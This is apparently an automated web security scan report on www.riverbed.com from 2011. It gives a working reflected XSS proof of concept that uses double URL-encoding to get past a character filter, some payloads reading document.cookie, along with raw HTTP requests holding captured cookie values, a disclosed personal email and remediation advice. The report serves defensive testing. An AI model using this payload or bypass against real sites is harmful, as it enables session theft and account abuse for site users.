The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2dc6c%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e3a9d992d1ca was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 2dc6c"><img src=a onerror=alert(1)>3a9d992d1ca in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Issue background
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
Request
GET /?2dc6c%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e3a9d992d1ca=1 HTTP/1.1 Host: www.riverbed.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
Request
GET /us/contact/try-and-evaluate.php HTTP/1.1 Host: www.riverbed.com Proxy-Connection: keep-alive Referer: http://www.riverbed.com/us/2dc6c%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%2528document.cookie%2529%253e3a9d992d1ca:1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=166550461.1294247134.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/15; cookiesEnabled=true; CakeCookie[InteractiveNav]=Q2FrZQ%3D%3D.ineAZ6NXqvHo%2BZk0hfM1%2B6hx4qJ1vjF96hLD25Bm2waSg6BQgWzMa8TM9QczYVdrAdptAJ47TDF%2FlyTXc44%2FAfZjI%2BDnOvqxzVoWo984J9V3PxXqrRZgT66Z%2BJI7; suggestions_nav[suggestions_nav]=Q2FrZQ%3D%3D.ineCZ6NZ; WT_FPC=id=174.121.222.18-1431159328.30107607:lv=1294240004908:ss=1294239934623; __utma=166550461.718033978.1294247134.1294247134.1294247134.1; __utmc=166550461; __utmb=166550461.3.10.1294247134
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /tracker/url/0082625451/2dc6c HTTP/1.1 Host: www.riverbed.com Proxy-Connection: keep-alive Referer: http://www.riverbed.com/us/2dc6c%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%2528document.cookie%2529%253e3a9d992d1ca:1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=166550461.1294247134.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/15; cookiesEnabled=true; WT_FPC=id=174.121.222.18-1431159328.30107607:lv=1294239954070:ss=1294239934623; __utma=166550461.718033978.1294247134.1294247134.1294247134.1; __utmc=166550461; __utmb=166550461.2.10.1294247134; suggestions_nav[suggestions_nav]=Q2FrZQ%3D%3D.ineCZ6NZ; CakeCookie[InteractiveNav]=Q2FrZQ%3D%3D.ineAZ6NXqvHo%2BZk0hfM1%2B6hx4qJ1vjF96hLD25Bm2waSg6BQgWzMa8TM9QczYVdrAdptAJ47TDF%2FlyTXc44%2FAfZjI%2BDnOvqxzVoWo984J9V3PxXqrRZgT66Z%2BJI7
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /tracker/url/0624070814/2dc6c HTTP/1.1 Host: www.riverbed.com Proxy-Connection: keep-alive Referer: http://www.riverbed.com/?2dc6c%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e3a9d992d1ca=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=166550461.1294247134.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/15; __utma=166550461.718033978.1294247134.1294247134.1294247134.1; __utmc=166550461; __utmb=166550461.1.10.1294247134; WT_FPC=id=174.121.222.18-1431159328.30107607:lv=1294239934623:ss=1294239934623; cookiesEnabled=true; suggestions_nav[suggestions_nav]=Q2FrZQ%3D%3D.ineCZ6NZ; CakeCookie[InteractiveNav]=Q2FrZQ%3D%3D.ineAZ6NXqvHo%2BZk0hfM1%2B6hx4qJ1vjF96hLD25Bm2waSg6BQgWzMa8TM9QczYVdrAdptAJ47TDF%2FlyTXc44%2FAfZjI%2BDnOvqxzVoWo984J9V3PxXqrRZgT66Z%2BJI7
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /tracker/url/0900901084/contact/try-and-evaluate.php HTTP/1.1 Host: www.riverbed.com Proxy-Connection: keep-alive Referer: http://www.riverbed.com/us/contact/try-and-evaluate.php Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=166550461.1294247134.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/15; cookiesEnabled=true; suggestions_nav[suggestions_nav]=Q2FrZQ%3D%3D.ineCZ6NZ; WT_FPC=id=174.121.222.18-1431159328.30107607:lv=1294240004908:ss=1294239934623; __utma=166550461.718033978.1294247134.1294247134.1294247134.1; __utmc=166550461; __utmb=166550461.3.10.1294247134; CakeCookie[InteractiveNav]=Q2FrZQ%3D%3D.ineAZ6NXqvHo%2BZk0hfM1%2B6hx4qJ1vjF96hLD25Bm2waSg6BQgWzMa8TM9QczYVdrAdptAJ47TDF%2FlyTXc44%2FAfZjI%2BDnOvqxzVoWo984J9V3PxXqrRZgT66Z%2BJI7
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /tracker/url/0930185818/2dc6c HTTP/1.1 Host: www.riverbed.com Proxy-Connection: keep-alive Referer: http://www.riverbed.com/us/2dc6c%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%2528document_cookie%2529%253e3a9d992d1ca:1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CakeCookie[InteractiveNav]=Q2FrZQ%3D%3D.ineAZ6NXqvHo%2BZk0hfM1%2B6hx4qJ1vjF96hLD25Bm2waSg6BQgWzMa8TM9QczYVdrAdptAJ47TDF%2FlyTXc44%2FAfZjI%2BDnOvqxzVoWo984J9V3PxXqrRZgT66Z%2BJI7
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /us/contact/try-and-evaluate.php HTTP/1.1 Host: www.riverbed.com Proxy-Connection: keep-alive Referer: http://www.riverbed.com/us/2dc6c%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%2528document.cookie%2529%253e3a9d992d1ca:1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=166550461.1294247134.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/15; cookiesEnabled=true; CakeCookie[InteractiveNav]=Q2FrZQ%3D%3D.ineAZ6NXqvHo%2BZk0hfM1%2B6hx4qJ1vjF96hLD25Bm2waSg6BQgWzMa8TM9QczYVdrAdptAJ47TDF%2FlyTXc44%2FAfZjI%2BDnOvqxzVoWo984J9V3PxXqrRZgT66Z%2BJI7; suggestions_nav[suggestions_nav]=Q2FrZQ%3D%3D.ineCZ6NZ; WT_FPC=id=174.121.222.18-1431159328.30107607:lv=1294240004908:ss=1294239934623; __utma=166550461.718033978.1294247134.1294247134.1294247134.1; __utmc=166550461; __utmb=166550461.3.10.1294247134
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
The following email address was disclosed in the response:
klaus.hartl@stilbuero.de
Request
GET /us/assets/common/js/jquery.cookie.js HTTP/1.1 Host: www.riverbed.com Proxy-Connection: keep-alive Referer: http://www.riverbed.com/us/2dc6c%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%2528document_cookie%2529%253e3a9d992d1ca:1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CakeCookie[InteractiveNav]=Q2FrZQ%3D%3D.ineAZ6NXqvHo%2BZk0hfM1%2B6hx4qJ1vjF96hLD25Bm2waSg6BQgWzMa8TM9QczYVdrAdptAJ47TDF%2FlyTXc44%2FAfZjI%2BDnOvqxzVoWo984J9V3PxXqrRZgT66Z%2BJI7
Response
HTTP/1.1 200 OK Date: Wed, 05 Jan 2011 17:05:30 GMT Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with Suhosin-Patch Last-Modified: Wed, 15 Dec 2010 01:02:18 GMT ETag: "104188-1097-497687d189a80;498bcc74f9e00" Accept-Ranges: bytes Vary: Accept-Encoding Content-Type: application/javascript Content-Length: 4247
/** * Cookie plugin * * Copyright (c) 2006 Klaus Hartl (stilbuero.de) * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/li ...[SNIP]... kie will be set and the cookie transmission will * require a secure protocol (like HTTPS). * @type undefined * * @name $.cookie * @cat Plugins/Cookie * @author Klaus Hartl/klaus.hartl@stilbuero.de */
/** * Get the value of a cookie with the given name. * * @example $.cookie('the_cookie'); * @desc Get the value of a cookie. * * @param String name The name of the cookie. * @return The value of the cookie. * @type String * * @name $.cookie * @cat Plugins/Cookie * @author Klaus Hartl/klaus.hartl@stilbuero.de */ jQuery.cookie = function(name, value, options) { if (typeof value != 'undefined') { // name and value given, set cookie options = options || {}; if (value === null) {